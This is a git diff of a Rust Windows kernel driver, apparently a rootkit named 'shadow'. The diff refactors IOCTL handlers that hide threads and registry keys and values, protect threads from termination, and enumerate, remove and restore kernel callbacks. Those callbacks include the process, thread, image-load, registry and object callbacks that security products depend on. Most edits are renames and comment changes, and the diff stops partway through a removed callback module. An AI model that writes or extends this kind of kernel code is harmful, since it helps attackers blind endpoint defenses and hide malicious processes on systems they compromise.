// Retrieves the thread information from the input buffer
|
||||||
let target_thread = get_input_buffer::<TargetThread>(stack)?;
|
let target_thread = get_input_buffer::<TargetThread>(stack)?;
|
||||||
let tid = (*target_thread).tid;
|
let tid = (*target_thread).tid;
|
||||||
|
|
||||||
// Hide or unhide the thread based on the 'enable' flag.
|
// Hide or unhide the thread based on the 'enable' flag
|
||||||
let status = if (*target_thread).enable {
|
let status = if (*target_thread).enable {
|
||||||
// Hides the thread and stores its previous state.
|
// Hides the thread and stores its previous state
|
||||||
let previous_list = Thread::hide_thread(tid)?;
|
let previous_list = Thread::hide_thread(tid)?;
|
||||||
let mut process_info = THREAD_INFO_HIDE.lock();
|
let mut process_info = THREAD_INFO_HIDE.lock();
|
||||||
let list_ptr = Box::into_raw(Box::new(previous_list));
|
let list_ptr = Box::into_raw(Box::new(previous_list));
|
||||||
@@ -578,7 +584,7 @@ impl IoctlManager {
|
|||||||
|
|
||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
} else {
|
} else {
|
||||||
// Unhides the thread.
|
// Unhides the thread
|
||||||
let list_entry = THREAD_INFO_HIDE.lock()
|
let list_entry = THREAD_INFO_HIDE.lock()
|
||||||
.iter()
|
.iter()
|
||||||
.find(|p| p.tid == tid)
|
.find(|p| p.tid == tid)
|
||||||
@@ -588,7 +594,7 @@ impl IoctlManager {
|
|||||||
Thread::unhide_thread(tid, list_entry.cast())?
|
Thread::unhide_thread(tid, list_entry.cast())?
|
||||||
};
|
};
|
||||||
|
|
||||||
// Updates the IoStatus and returns the result of the operation.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = size_of::<TargetThread>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetThread>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
}
|
}
|
||||||
@@ -616,7 +622,7 @@ impl IoctlManager {
|
|||||||
let entries_to_copy = core::cmp::min(threads.len(), max_entries);
|
let entries_to_copy = core::cmp::min(threads.len(), max_entries);
|
||||||
core::ptr::copy_nonoverlapping(threads.as_ptr(), output_buffer, entries_to_copy);
|
core::ptr::copy_nonoverlapping(threads.as_ptr(), output_buffer, entries_to_copy);
|
||||||
|
|
||||||
// Updates the IoStatus with the size of the enumerated threads.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = (entries_to_copy * size_of::<TargetThread>()) as u64;
|
(*irp).IoStatus.Information = (entries_to_copy * size_of::<TargetThread>()) as u64;
|
||||||
Ok(STATUS_SUCCESS)
|
Ok(STATUS_SUCCESS)
|
||||||
}
|
}
|
||||||
@@ -624,22 +630,22 @@ impl IoctlManager {
|
|||||||
|
|
||||||
// If the feature is a mapper, these functionalities will not be added.
|
// If the feature is a mapper, these functionalities will not be added.
|
||||||
#[cfg(not(feature = "mapper"))] {
|
#[cfg(not(feature = "mapper"))] {
|
||||||
// Responsible for adding thread termination protection.
|
// Responsible for adding thread termination protection
|
||||||
self.register_handler(PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
self.register_handler(PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Retrieves the thread information from the input buffer.
|
// Retrieves the thread information from the input buffer
|
||||||
let thread_protection = get_input_buffer::<TargetThread>(stack)?;
|
let thread_protection = get_input_buffer::<TargetThread>(stack)?;
|
||||||
let tid = (*thread_protection).tid;
|
let tid = (*thread_protection).tid;
|
||||||
let enable = (*thread_protection).enable;
|
let enable = (*thread_protection).enable;
|
||||||
|
|
||||||
// Adds or removes protection for the thread based on the 'enable' flag.
|
// Adds or removes protection for the thread based on the 'enable' flag
|
||||||
let status = if enable {
|
let status = if enable {
|
||||||
thread::add_target_tid(tid)
|
thread::add_target_tid(tid)
|
||||||
} else {
|
} else {
|
||||||
thread::remove_target_tid(tid)
|
thread::remove_target_tid(tid)
|
||||||
};
|
};
|
||||||
|
|
||||||
// Updates the IoStatus with the size of the thread information.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = size_of::<TargetThread>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetThread>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
}
|
}
|
||||||
@@ -657,12 +663,12 @@ impl IoctlManager {
|
|||||||
let callbacks = match (*target_callback).callback {
|
let callbacks = match (*target_callback).callback {
|
||||||
Callbacks::PsSetCreateProcessNotifyRoutine
|
Callbacks::PsSetCreateProcessNotifyRoutine
|
||||||
| Callbacks::PsSetCreateThreadNotifyRoutine
|
| Callbacks::PsSetCreateThreadNotifyRoutine
|
||||||
| Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::enumerate((*target_callback).callback)?,
|
| Callbacks::PsSetLoadImageNotifyRoutine => notify_routine::enumerate((*target_callback).callback)?,
|
||||||
|
|
||||||
Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::enumerate((*target_callback).callback)?,
|
Callbacks::CmRegisterCallbackEx => registry::enumerate((*target_callback).callback)?,
|
||||||
|
|
||||||
Callbacks::ObProcess
|
Callbacks::ObProcess
|
||||||
| Callbacks::ObThread => shadowx::CallbackOb::enumerate((*target_callback).callback)?,
|
| Callbacks::ObThread => object::enumerate((*target_callback).callback)?,
|
||||||
};
|
};
|
||||||
|
|
||||||
// Ensure we do not exceed buffer limits
|
// Ensure we do not exceed buffer limits
|
||||||
@@ -682,7 +688,7 @@ impl IoctlManager {
|
|||||||
(*info_ptr).post_operation = callback.post_operation;
|
(*info_ptr).post_operation = callback.post_operation;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Set the size of the returned information.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = (entries_to_copy * size_of::<CallbackInfoOutput>()) as u64;
|
(*irp).IoStatus.Information = (entries_to_copy * size_of::<CallbackInfoOutput>()) as u64;
|
||||||
Ok(STATUS_SUCCESS)
|
Ok(STATUS_SUCCESS)
|
||||||
}
|
}
|
||||||
@@ -695,15 +701,15 @@ impl IoctlManager {
|
|||||||
let status = match (*target_callback).callback {
|
let status = match (*target_callback).callback {
|
||||||
Callbacks::PsSetCreateProcessNotifyRoutine
|
Callbacks::PsSetCreateProcessNotifyRoutine
|
||||||
| Callbacks::PsSetCreateThreadNotifyRoutine
|
| Callbacks::PsSetCreateThreadNotifyRoutine
|
||||||
| Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::remove((*target_callback).callback, (*target_callback).index)?,
|
| Callbacks::PsSetLoadImageNotifyRoutine => notify_routine::remove((*target_callback).callback, (*target_callback).index)?,
|
||||||
|
|
||||||
Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::remove((*target_callback).callback, (*target_callback).index)?,
|
Callbacks::CmRegisterCallbackEx => registry::remove((*target_callback).callback, (*target_callback).index)?,
|
||||||
|
|
||||||
Callbacks::ObProcess
|
Callbacks::ObProcess
|
||||||
| Callbacks::ObThread => shadowx::CallbackOb::remove((*target_callback).callback, (*target_callback).index)?,
|
| Callbacks::ObThread => object::remove((*target_callback).callback, (*target_callback).index)?,
|
||||||
};
|
};
|
||||||
|
|
||||||
// Set the size of the returned information.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = size_of::<CallbackInfoInput>() as u64;
|
(*irp).IoStatus.Information = size_of::<CallbackInfoInput>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
}
|
}
|
||||||
@@ -716,15 +722,15 @@ impl IoctlManager {
|
|||||||
let status = match (*target_callback).callback {
|
let status = match (*target_callback).callback {
|
||||||
Callbacks::PsSetCreateProcessNotifyRoutine
|
Callbacks::PsSetCreateProcessNotifyRoutine
|
||||||
| Callbacks::PsSetCreateThreadNotifyRoutine
|
| Callbacks::PsSetCreateThreadNotifyRoutine
|
||||||
| Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::restore((*target_callback).callback, (*target_callback).index)?,
|
| Callbacks::PsSetLoadImageNotifyRoutine => notify_routine::restore((*target_callback).callback, (*target_callback).index)?,
|
||||||
|
|
||||||
Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::restore((*target_callback).callback, (*target_callback).index)?,
|
Callbacks::CmRegisterCallbackEx => registry::restore((*target_callback).callback, (*target_callback).index)?,
|
||||||
|
|
||||||
Callbacks::ObProcess
|
Callbacks::ObProcess
|
||||||
| Callbacks::ObThread => shadowx::CallbackOb::restore((*target_callback).callback, (*target_callback).index)?,
|
| Callbacks::ObThread => object::restore((*target_callback).callback, (*target_callback).index)?,
|
||||||
};
|
};
|
||||||
|
|
||||||
// Set the size of the returned information.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = size_of::<CallbackInfoInput>() as u64;
|
(*irp).IoStatus.Information = size_of::<CallbackInfoInput>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
}
|
}
|
||||||
@@ -738,12 +744,12 @@ impl IoctlManager {
|
|||||||
let callbacks = match (*target_callback).callback {
|
let callbacks = match (*target_callback).callback {
|
||||||
Callbacks::PsSetCreateProcessNotifyRoutine
|
Callbacks::PsSetCreateProcessNotifyRoutine
|
||||||
| Callbacks::PsSetCreateThreadNotifyRoutine
|
| Callbacks::PsSetCreateThreadNotifyRoutine
|
||||||
| Callbacks::PsSetLoadImageNotifyRoutine => shadowx::Callback::enumerate_removed()?,
|
| Callbacks::PsSetLoadImageNotifyRoutine => notify_routine::enumerate_removed()?,
|
||||||
|
|
||||||
Callbacks::CmRegisterCallbackEx => shadowx::CallbackRegistry::enumerate_removed()?,
|
Callbacks::CmRegisterCallbackEx => registry::enumerate_removed()?,
|
||||||
|
|
||||||
Callbacks::ObProcess
|
Callbacks::ObProcess
|
||||||
| Callbacks::ObThread => shadowx::CallbackOb::enumerate_removed()?,
|
| Callbacks::ObThread => object::enumerate_removed()?,
|
||||||
};
|
};
|
||||||
|
|
||||||
// Ensure we do not exceed buffer limits
|
// Ensure we do not exceed buffer limits
|
||||||
@@ -772,33 +778,33 @@ impl IoctlManager {
|
|||||||
/// Registers the IOCTL handlers for registry-related operations.
|
/// Registers the IOCTL handlers for registry-related operations.
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
fn registry(&mut self) {
|
fn registry(&mut self) {
|
||||||
// Adding protection for registry key values.
|
// Adding protection for registry key values
|
||||||
self.register_handler(REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
self.register_handler(REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
unsafe {
|
unsafe {
|
||||||
let target_registry = get_input_buffer::<TargetRegistry>(stack)?;
|
let target_registry = get_input_buffer::<TargetRegistry>(stack)?;
|
||||||
let status = shadowx::Registry::modify_key_value(target_registry, Type::Protect);
|
let status = Registry::modify_key_value(target_registry, Type::Protect);
|
||||||
|
|
||||||
(*irp).IoStatus.Information = size_of::<TargetRegistry>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetRegistry>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
}
|
}
|
||||||
}));
|
}));
|
||||||
|
|
||||||
// Added protection for registry keys.
|
// Added protection for registry keys
|
||||||
self.register_handler(REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
self.register_handler(REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
unsafe {
|
unsafe {
|
||||||
let target_registry = get_input_buffer::<TargetRegistry>(stack)?;
|
let target_registry = get_input_buffer::<TargetRegistry>(stack)?;
|
||||||
let status = shadowx::Registry::modify_key(target_registry, Type::Protect);
|
let status = Registry::modify_key(target_registry, Type::Protect);
|
||||||
|
|
||||||
(*irp).IoStatus.Information = size_of::<TargetRegistry>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetRegistry>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
}
|
}
|
||||||
}));
|
}));
|
||||||
|
|
||||||
// Handles IOCTL to hide or unhide a registry key.
|
// Handles IOCTL to hide or unhide a registry key
|
||||||
self.register_handler(HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
self.register_handler(HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
unsafe {
|
unsafe {
|
||||||
let target_registry = get_input_buffer::<TargetRegistry>(stack)?;
|
let target_registry = get_input_buffer::<TargetRegistry>(stack)?;
|
||||||
let status = shadowx::Registry::modify_key(target_registry, Type::Hide);
|
let status = Registry::modify_key(target_registry, Type::Hide);
|
||||||
|
|
||||||
(*irp).IoStatus.Information = size_of::<TargetRegistry>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetRegistry>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
@@ -809,7 +815,7 @@ impl IoctlManager {
|
|||||||
self.register_handler(HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
self.register_handler(HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
unsafe {
|
unsafe {
|
||||||
let target_registry = get_input_buffer::<TargetRegistry>(stack)?;
|
let target_registry = get_input_buffer::<TargetRegistry>(stack)?;
|
||||||
let status = shadowx::Registry::modify_key_value(target_registry, Type::Hide);
|
let status = Registry::modify_key_value(target_registry, Type::Hide);
|
||||||
|
|
||||||
(*irp).IoStatus.Information = size_of::<TargetRegistry>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetRegistry>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
@@ -819,7 +825,6 @@ impl IoctlManager {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl Default for IoctlManager {
|
impl Default for IoctlManager {
|
||||||
/// Creates a new IoctlManager with an empty handler map.
|
|
||||||
fn default() -> Self {
|
fn default() -> Self {
|
||||||
Self {
|
Self {
|
||||||
handlers: Ioctls::new(),
|
handlers: Ioctls::new(),
|
||||||
|
|||||||
@@ -5,7 +5,7 @@
|
|||||||
extern crate alloc;
|
extern crate alloc;
|
||||||
extern crate wdk_panic;
|
extern crate wdk_panic;
|
||||||
|
|
||||||
mod utils;
|
mod util;
|
||||||
mod ioctls;
|
mod ioctls;
|
||||||
mod allocator;
|
mod allocator;
|
||||||
|
|
||||||
@@ -14,7 +14,7 @@ mod callback;
|
|||||||
|
|
||||||
use core::sync::atomic::Ordering;
|
use core::sync::atomic::Ordering;
|
||||||
use spin::{Mutex, lazy::Lazy};
|
use spin::{Mutex, lazy::Lazy};
|
||||||
use shadowx::{uni, error::ShadowError, network, Network};
|
use shadow_core::{uni, error::ShadowError, network, Network};
|
||||||
use wdk_sys::{*, ntddk::*, _MODE::KernelMode};
|
use wdk_sys::{*, ntddk::*, _MODE::KernelMode};
|
||||||
|
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
@@ -29,10 +29,15 @@ const DEVICE_NAME: &str = "\\Device\\shadow";
|
|||||||
/// The name of the device in the DOS device namespace.
|
/// The name of the device in the DOS device namespace.
|
||||||
const DOS_DEVICE_NAME: &str = "\\DosDevices\\shadow";
|
const DOS_DEVICE_NAME: &str = "\\DosDevices\\shadow";
|
||||||
|
|
||||||
|
// Global instance of the `IoctlManager`.
|
||||||
|
static mut MANAGER: Lazy<Mutex<ioctls::IoctlManager>> = Lazy::new(|| {
|
||||||
|
let manager = Mutex::new(ioctls::IoctlManager::default());
|
||||||
|
manager.lock().load_handlers();
|
||||||
|
manager
|
||||||
|
});
|
||||||
|
|
||||||
/// Driver input function.
|
/// Driver input function.
|
||||||
///
|
///
|
||||||
/// This function is called by the system when the driver is loaded.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `driver_object` - Pointer to the driver object.
|
/// * `driver_object` - Pointer to the driver object.
|
||||||
@@ -40,7 +45,7 @@ const DOS_DEVICE_NAME: &str = "\\DosDevices\\shadow";
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Status code indicating the success or failure of the operation.
|
/// Status code indicating the success or failure of the operation.
|
||||||
///
|
///
|
||||||
/// Reference: WDF expects a symbol with the name DriverEntry
|
/// Reference: WDF expects a symbol with the name DriverEntry
|
||||||
#[export_name = "DriverEntry"]
|
#[export_name = "DriverEntry"]
|
||||||
@@ -70,9 +75,6 @@ pub unsafe extern "system" fn driver_entry(
|
|||||||
|
|
||||||
/// Driver input function.
|
/// Driver input function.
|
||||||
///
|
///
|
||||||
/// This function is called by the system when the driver is loaded. It is responsible for
|
|
||||||
/// initializing the driver, creating the device object and setting up the symbolic link.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `driver_object` - Pointer to the driver object.
|
/// * `driver_object` - Pointer to the driver object.
|
||||||
@@ -80,7 +82,7 @@ pub unsafe extern "system" fn driver_entry(
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Status code indicating the success or failure of the operation.
|
/// Status code indicating the success or failure of the operation.
|
||||||
pub unsafe extern "system" fn shadow_entry(
|
pub unsafe extern "system" fn shadow_entry(
|
||||||
driver: &mut DRIVER_OBJECT,
|
driver: &mut DRIVER_OBJECT,
|
||||||
_registry_path: PCUNICODE_STRING,
|
_registry_path: PCUNICODE_STRING,
|
||||||
@@ -140,28 +142,16 @@ pub unsafe extern "system" fn shadow_entry(
|
|||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
}
|
}
|
||||||
|
|
||||||
// Global instance of the `IoctlManager`.
|
|
||||||
//
|
|
||||||
// This `lazy_static` ensures that the `IoctlManager` is initialized only once
|
|
||||||
// and provides a thread-safe way to access the registered IOCTL handlers.
|
|
||||||
static mut MANAGER: Lazy<Mutex<ioctls::IoctlManager>> = Lazy::new(|| {
|
|
||||||
let manager = Mutex::new(ioctls::IoctlManager::default());
|
|
||||||
manager.lock().load_handlers();
|
|
||||||
manager
|
|
||||||
});
|
|
||||||
|
|
||||||
/// Handles device control commands (IOCTL).
|
/// Handles device control commands (IOCTL).
|
||||||
///
|
///
|
||||||
/// This function is responsible for processing IOCTL commands received by the driver and executing the corresponding actions.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `_device` - Pointer to the device object (not used in this function).
|
/// * `_device` - Pointer to the device object.
|
||||||
/// * `irp` - Pointer to the I/O request packet (IRP) that contains the information about the device control request.
|
/// * `irp` - Pointer to the I/O request packet (IRP).
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Status code indicating the success or failure of the operation.
|
/// Status code indicating the success or failure of the operation.
|
||||||
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
||||||
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
||||||
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
||||||
@@ -188,9 +178,6 @@ pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut I
|
|||||||
|
|
||||||
/// Closes an open instance of the device.
|
/// Closes an open instance of the device.
|
||||||
///
|
///
|
||||||
/// This function is called when an open instance of the device is closed.
|
|
||||||
/// It marks the I/O request (IRP) as successfully completed.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `_device_object` - Pointer to the associated device object (not used in this function).
|
/// * `_device_object` - Pointer to the associated device object (not used in this function).
|
||||||
@@ -198,7 +185,7 @@ pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut I
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
|
/// Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
|
||||||
pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
||||||
(*irp).IoStatus.__bindgen_anon_1.Status = STATUS_SUCCESS;
|
(*irp).IoStatus.__bindgen_anon_1.Status = STATUS_SUCCESS;
|
||||||
(*irp).IoStatus.Information = 0;
|
(*irp).IoStatus.Information = 0;
|
||||||
@@ -207,10 +194,7 @@ pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *
|
|||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Download the system driver.
|
/// Unload the system driver.
|
||||||
///
|
|
||||||
/// This function is called when the driver is being unloaded from the system.
|
|
||||||
/// It removes the symbolic link and deletes the device object associated with the driver.
|
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
|
|||||||
@@ -1,88 +1,87 @@
|
|||||||
use shadowx::error::ShadowError;
|
use shadow_core::error::ShadowError;
|
||||||
use wdk_sys::{
|
use wdk_sys::{
|
||||||
ntddk::{ExAllocatePool2, ExFreePool, MmCopyMemory},
|
ntddk::{ExAllocatePool2, ExFreePool, MmCopyMemory},
|
||||||
IRP, MM_COPY_ADDRESS, MM_COPY_MEMORY_VIRTUAL,
|
IRP, MM_COPY_ADDRESS, MM_COPY_MEMORY_VIRTUAL,
|
||||||
NT_SUCCESS, POOL_FLAG_NON_PAGED, _IO_STACK_LOCATION
|
NT_SUCCESS, POOL_FLAG_NON_PAGED, _IO_STACK_LOCATION
|
||||||
};
|
};
|
||||||
|
|
||||||
/// Retrieves the input buffer from the given IO stack location.
|
/// Retrieves the input buffer from the given IO stack location.
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `stack` - A pointer to the `_IO_STACK_LOCATION` structure.
|
/// * `stack` - A pointer to the `_IO_STACK_LOCATION` structure.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Result<*mut T, ShadowError>` - A result containing the pointer to the input buffer or an NTSTATUS error code.
|
/// Containing the pointer to the input buffer or an NTSTATUS error code.
|
||||||
pub unsafe fn get_input_buffer<T>(stack: *mut _IO_STACK_LOCATION) -> Result<*mut T, ShadowError> {
|
pub unsafe fn get_input_buffer<T>(stack: *mut _IO_STACK_LOCATION) -> Result<*mut T, ShadowError> {
|
||||||
// Retrieves the input buffer pointer from the I/O stack location.
|
// Retrieves the input buffer pointer from the I/O stack location.
|
||||||
let input_buffer = (*stack).Parameters.DeviceIoControl.Type3InputBuffer;
|
let input_buffer = (*stack).Parameters.DeviceIoControl.Type3InputBuffer;
|
||||||
let input_length = (*stack).Parameters.DeviceIoControl.InputBufferLength;
|
let input_length = (*stack).Parameters.DeviceIoControl.InputBufferLength;
|
||||||
|
|
||||||
// Validate that the input buffer is not null
|
// Validate that the input buffer is not null
|
||||||
if input_buffer.is_null() {
|
if input_buffer.is_null() {
|
||||||
return Err(ShadowError::NullPointer("Type3InputBuffer"))
|
return Err(ShadowError::NullPointer("Type3InputBuffer"))
|
||||||
}
|
}
|
||||||
|
|
||||||
// Validate that the input buffer size is sufficient
|
// Validate that the input buffer size is sufficient
|
||||||
if input_length < size_of::<T>() as u32 {
|
if input_length < size_of::<T>() as u32 {
|
||||||
return Err(ShadowError::BufferTooSmall);
|
return Err(ShadowError::BufferTooSmall);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Alignment check
|
// Alignment check
|
||||||
if (input_buffer as usize) % align_of::<T>() != 0 {
|
if (input_buffer as usize) % align_of::<T>() != 0 {
|
||||||
return Err(ShadowError::MisalignedBuffer);
|
return Err(ShadowError::MisalignedBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Allocate a kernel-mode buffer in non-paged memory
|
// Allocate a kernel-mode buffer in non-paged memory
|
||||||
let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, size_of::<T>() as u64, 0x1234) as *mut T;
|
let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, size_of::<T>() as u64, 0x1234) as *mut T;
|
||||||
if buffer.is_null() {
|
if buffer.is_null() {
|
||||||
return Err(ShadowError::NullPointer("buffer"));
|
return Err(ShadowError::NullPointer("buffer"));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Prepare the MM_COPY_ADDRESS structure for secure copying.
|
// Prepare the MM_COPY_ADDRESS structure for secure copying.
|
||||||
let mut src_address = core::mem::zeroed::<MM_COPY_ADDRESS>();
|
let mut src_address = core::mem::zeroed::<MM_COPY_ADDRESS>();
|
||||||
src_address.__bindgen_anon_1.VirtualAddress = input_buffer as *mut _;
|
src_address.__bindgen_anon_1.VirtualAddress = input_buffer as *mut _;
|
||||||
|
|
||||||
// Use `MmCopyMemory` to safely copy data from user-mode to kernel-mode
|
// Use `MmCopyMemory` to safely copy data from user-mode to kernel-mode
|
||||||
let mut bytes_copied = 0u64;
|
let mut bytes_copied = 0u64;
|
||||||
let status = MmCopyMemory(
|
let status = MmCopyMemory(
|
||||||
buffer as *mut _,
|
buffer as *mut _,
|
||||||
src_address,
|
src_address,
|
||||||
size_of::<T>() as u64,
|
size_of::<T>() as u64,
|
||||||
MM_COPY_MEMORY_VIRTUAL,
|
MM_COPY_MEMORY_VIRTUAL,
|
||||||
&mut bytes_copied,
|
&mut bytes_copied,
|
||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) || bytes_copied != size_of::<T>() as u64 {
|
if !NT_SUCCESS(status) || bytes_copied != size_of::<T>() as u64 {
|
||||||
ExFreePool(buffer as *mut _);
|
ExFreePool(buffer as *mut _);
|
||||||
return Err(ShadowError::InvalidMemory);
|
return Err(ShadowError::InvalidMemory);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Successfully copied the buffer; return the kernel-mode pointer
|
Ok(buffer)
|
||||||
Ok(buffer)
|
}
|
||||||
}
|
|
||||||
|
/// Retrieves the output buffer from the given IRP.
|
||||||
/// Retrieves the output buffer from the given IRP.
|
///
|
||||||
///
|
/// # Arguments
|
||||||
/// # Arguments
|
///
|
||||||
///
|
/// * `irp` - A pointer to the `IRP` structure.
|
||||||
/// * `irp` - A pointer to the `IRP` structure.
|
///
|
||||||
///
|
/// # Returns
|
||||||
/// # Returns
|
///
|
||||||
///
|
/// Containing the pointer to the output buffer or an NTSTATUS error code.
|
||||||
/// * `Result<*mut T, ShadowError>` - A result containing the pointer to the output buffer or an NTSTATUS error code.
|
pub unsafe fn get_output_buffer<T>(irp: *mut IRP, stack: *mut _IO_STACK_LOCATION) -> Result<(*mut T, usize), ShadowError> {
|
||||||
pub unsafe fn get_output_buffer<T>(irp: *mut IRP, stack: *mut _IO_STACK_LOCATION) -> Result<(*mut T, usize), ShadowError> {
|
let buffer = (*irp).UserBuffer;
|
||||||
let buffer = (*irp).UserBuffer;
|
if buffer.is_null() {
|
||||||
if buffer.is_null() {
|
return Err(ShadowError::NullPointer("UserBuffer"));
|
||||||
return Err(ShadowError::NullPointer("UserBuffer"));
|
}
|
||||||
}
|
|
||||||
|
let output_length = (*stack).Parameters.DeviceIoControl.OutputBufferLength;
|
||||||
let output_length = (*stack).Parameters.DeviceIoControl.OutputBufferLength;
|
if output_length < size_of::<T>() as u32 {
|
||||||
if output_length < size_of::<T>() as u32 {
|
return Err(ShadowError::BufferTooSmall);
|
||||||
return Err(ShadowError::BufferTooSmall);
|
}
|
||||||
}
|
|
||||||
|
let count = output_length as usize / size_of::<T>();
|
||||||
let count = output_length as usize / size_of::<T>();
|
Ok((buffer as *mut T, count))
|
||||||
Ok((buffer as *mut T, count))
|
}
|
||||||
}
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
/// Callbacks related to notifications operations
|
|
||||||
mod notify_routine;
|
|
||||||
pub use notify_routine::*;
|
|
||||||
|
|
||||||
/// Callbacks related to object operations
|
|
||||||
mod object;
|
|
||||||
pub use object::*;
|
|
||||||
|
|
||||||
/// Callbacks related to registry operations
|
|
||||||
mod registry;
|
|
||||||
pub use registry::*;
|
|
||||||
@@ -1,237 +0,0 @@
|
|||||||
use alloc::vec::Vec;
|
|
||||||
|
|
||||||
use spin::{Lazy, Mutex};
|
|
||||||
use wdk_sys::{NTSTATUS, STATUS_SUCCESS};
|
|
||||||
|
|
||||||
use common::{
|
|
||||||
enums::Callbacks,
|
|
||||||
structs::CallbackInfoOutput
|
|
||||||
};
|
|
||||||
use crate::data::{
|
|
||||||
CallbackRestaure,
|
|
||||||
LDR_DATA_TABLE_ENTRY
|
|
||||||
};
|
|
||||||
use crate::callback::{
|
|
||||||
CallbackResult,
|
|
||||||
find_callback_address
|
|
||||||
};
|
|
||||||
use crate::{
|
|
||||||
Result,
|
|
||||||
error::ShadowError,
|
|
||||||
modules,
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Structure that manages callbacks in the system.
|
|
||||||
pub struct Callback;
|
|
||||||
|
|
